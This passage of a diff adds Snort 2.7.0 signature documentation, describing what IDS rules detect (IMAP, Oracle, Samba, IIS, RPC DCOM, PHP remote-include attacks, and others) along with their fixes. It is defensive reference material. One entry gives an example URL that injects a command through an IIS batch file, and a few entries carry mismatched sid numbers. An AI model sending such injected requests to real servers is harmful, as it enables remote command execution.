+to an IMAP server via the command AUTH. This may indicate an attempt to 
+exploit a buffer overflow condition.
+
+--
+Impact:
+Serious. Possible remote execution of arbitrary code, which may lead to
+a remote root compromise.
+
+--
+Detailed Information:
+When a large amount of data is sent to a vulnerable IMAP server in the 
+AUTHENTICATE command, a buffer overflow condition may occur. This can 
+allow the attacker to execute arbitrary code, which may allow the 
+attacker to gain root access to the compromised server.
+
+--
+Affected Systems:
+	IMAP servers
+
+--
+Attack Scenarios:
+An attacker can send a sufficiently long AUTHENTICATE command to the 
+IMAP server, creating a buffer overflow condition. This can then allow 
+the attacker to execute code of their choosing and possibly gain root 
+access to the compromised server.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate patches for your operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000548.txt
+++ snort-2.7.0/doc/signatures/100000548.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000548
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PHP Blue Dragon CMS" application running on a 
+webserver. Access to the file "forum_admin.php" using a remote file being 
+passed as the "DragonRootPath" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "DragonRootPath" parameter in the "forum_admin.php" 
+script used by the "PHP Blue Dragon CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHP Blue Dragon CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/398.txt
+++ snort-2.7.0/doc/signatures/398.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+398
+
+--
+
+Summary:
+This event is generated when An ICMP Host Unreachable for Type of Server datagram is detected on the network.  
+
+--
+
+Impact:
+Routers will generate this message when the requested TOS (Type of Service) is not permitted to transverse the network.  This could be an indication of an improperly configured routing device or a improperly configured host on the network.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000608.txt
+++ snort-2.7.0/doc/signatures/100000608.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000608
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_bad.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "link_bad.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2878.txt
+++ snort-2.7.0/doc/signatures/2878.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2878
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_site_priority
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/268.txt
+++ snort-2.7.0/doc/signatures/268.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+268
+
+--
+Summary:
+This event is generated when a remote attacker attempts to send large, fragmented IP packets to the internal network, indicating a Jolt Denial of Service (DoS) attack.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+Jolt is a DoS attack characterized by large, fragmented IP packets that, when launched at a Windows system, can hang or crash the computer. 
+
+--
+Affected Systems:
+Windows 95
+Windows 98
+Windows NT
+Windows 2000
+
+--
+Attack Scenarios:
+An attacker sends oversized, fragmented IP packets to a target computer. If the computer is running an unpatched version of Windows, it may crash.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the latest patches available for your operating system.
+
+Implement a packet-filtering firewall to block inappropriate traffic to the network.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3193.txt
+++ snort-2.7.0/doc/signatures/3193.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+3193
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Internet Information Server.
+
+--
+Impact:
+Serious. Code execution leading to unauthorized administrative access
+on the target host.
+
+--
+Detailed Information:
+Microsoft IIS contains a programming error that may allow an attacker to
+execute commands of their choosing on a vulnerable system. If a valid
+request for an executable file on the system is made, the server will
+honor the request and execute any commands sent to the system. It may be
+possible for an attacker to execute system commands sent to cmd.exe or
+an executable batch file (.bat) for example.
+
+--
+Affected Systems:
+	Microsoft IIS 4.0
+	Microsoft IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can send a request to an executable file on the system and
+supply command arguments of their choice to the file. The server will
+honor the request and execute the attackers commands.
+
+For example, http://www.target.com/scripts/cmd.bat"+&+somecommand
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3022.txt
+++ snort-2.7.0/doc/signatures/3022.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3022
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2666.txt
+++ snort-2.7.0/doc/signatures/2666.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2664
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+format string vulnerability against a POP server.
+
+--
+Impact:
+Serious. A successful format string attack could result in the
+execution of arbitrary code with the same privileges as the user running
+the POP daemon.
+
+--
+Detailed Information:
+Some versions of the Courier POP daemon are vulnerable to format string
+exploits prior to and during authentication to the POP server.  A
+successful exploit attempt could result in the remote attacker gaining
+unauthorized root access to a vulnerable system.
+
+--
+Affected Systems:
+	Courier IMAP/POP server versions 1.6 though 3.0.2
+
+--
+Attack Scenarios:
+A remote attacker could use a publicly available script to exploit the 
+vulnerability an gain control of the target host.
+
+--
+
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1656.txt
+++ snort-2.7.0/doc/signatures/1656.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1656
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/414.txt
+++ snort-2.7.0/doc/signatures/414.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+414
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP IPV6 Where-Are-You datagram with an undefined ICMP Code.
+
+--
+
+Impact:
+ICMP Type 33 datagrams are not expected network traffic.  Hosts generating ICMP Type 33 datagrams should be investigated for hostile activity.
+
+--
+
+Detailed Information:
+ICMP Type 33 is an undocumented extension to RFC 1812 and RFC 792.  Its current use it not defined by an approved RFC.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Hosts generating ICMP Type 33 datagrams should be investigated for hostile activity.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/256.txt
+++ snort-2.7.0/doc/signatures/256.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+256
+
+--
+Summary:
+This event is generated when an attempt is made to query authors.bind chaos 
+record on a DNS server.  
+
+--
+Impact:
+Information gathering. This activity may indicate reconnaisance before 
+an impending attack.
+
+--
+Detailed Information:
+Bind 9.x allows you get the authors.bind chaos record.  The ability to
+retrieve this file indicates that the machine is running at least a
+9.x variant of the bind nameserver.
+
+--
+Affected Systems:
+	All DNS Servers using Bind
+ 
+--
+Attack Scenarios:
+As part of a reconnaissance mission, an attacker may attempt to glean
+important information about network infrastructure by determining the
+bind version on a nameserver. If authors.bind is retrievable, this
+indicates that Bind 9.x is in use.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Remove the ability to retrieve the authors.bind chaos record by changing 
+the DNS configuration accordingly.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2737.txt
+++ snort-2.7.0/doc/signatures/2737.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2737
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_nchar
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1653.txt
+++ snort-2.7.0/doc/signatures/1653.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1653
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If the webserver has pages or directories by the name of campus this rule will
+fire often.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+False positive information contributed by Colin Harford <colin.harford@ualberta.ca>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2727.txt
+++ snort-2.7.0/doc/signatures/2727.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2727
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_nvarchar2
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3253.txt
+++ snort-2.7.0/doc/signatures/3253.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3253
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2694.txt
+++ snort-2.7.0/doc/signatures/2694.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2694
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure verify_queue_types_get_nrp
+. This procedure is included in
+sys.dbms_aqadm.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1258.txt
+++ snort-2.7.0/doc/signatures/1258.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1258
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2985.txt
+++ snort-2.7.0/doc/signatures/2985.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2176
+
+--
+Summary:
+This event is generated when an attempt is made to access a system
+file via SMB. 
+
+--
+Impact:
+Serious. This file contains important operating system information.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to access a file
+containing important operating system information using SMB across the
+network.
+
+--
+Affected Systems:
+Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If this file is accessible via SMB the attacker can manipulate the
+operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.7.0.orig/doc/signatures/957.txt
+++ snort-2.7.0/doc/signatures/957.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+957
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3071.txt
+++ snort-2.7.0/doc/signatures/3071.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3071
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the several commands of an IMAP service. This
+event is concerned with data supplied as a parameter to the
+"status" command.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+This event is generated when excess data is detected in an IMAP command.
+Some IMAP implementations exhibit programming errors that can lead to a
+buffer overflow condition when excess data is supplied to a static
+buffer.
+
+A vulnerability exists in the way that the Mercury Mail IMAP service
+handles several commands.  An excessively long command argument can
+trigger a denial of service or a buffer overflow and the subsequent
+execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	Pegasus Mail Mercury Mail Transport System 3.32
+	Pegasus Mail Mercury Mail Transport System 4.01a
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long command, causing denial of
+service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell<bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2008.txt
+++ snort-2.7.0/doc/signatures/2008.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+2008
+
+--
+Summary:
+CVS is the Concurrent Versions System, commonly used to 
+help manage software development.
+
+--
+Impact:
+This may be an intelligence gathering activity or an attempt to connect 
+to CVS using the credentials of a user with escalated privileges. Should
+this attempt be succesful the entire CVS repository may be compromised.
+
+--
+Detailed Information:
+This rule detects attempts to connect to a CVS repository that fail due 
+determined activity by an attacker to gain unauthorized access to the 
+CVS respository.
+
+The source code of software in the repository may be compromised by a 
+succesful attacker who could choose to insert malicious code of his own 
+making.
+
+For CVS daemons running under changed root conditions (chroot), the rest
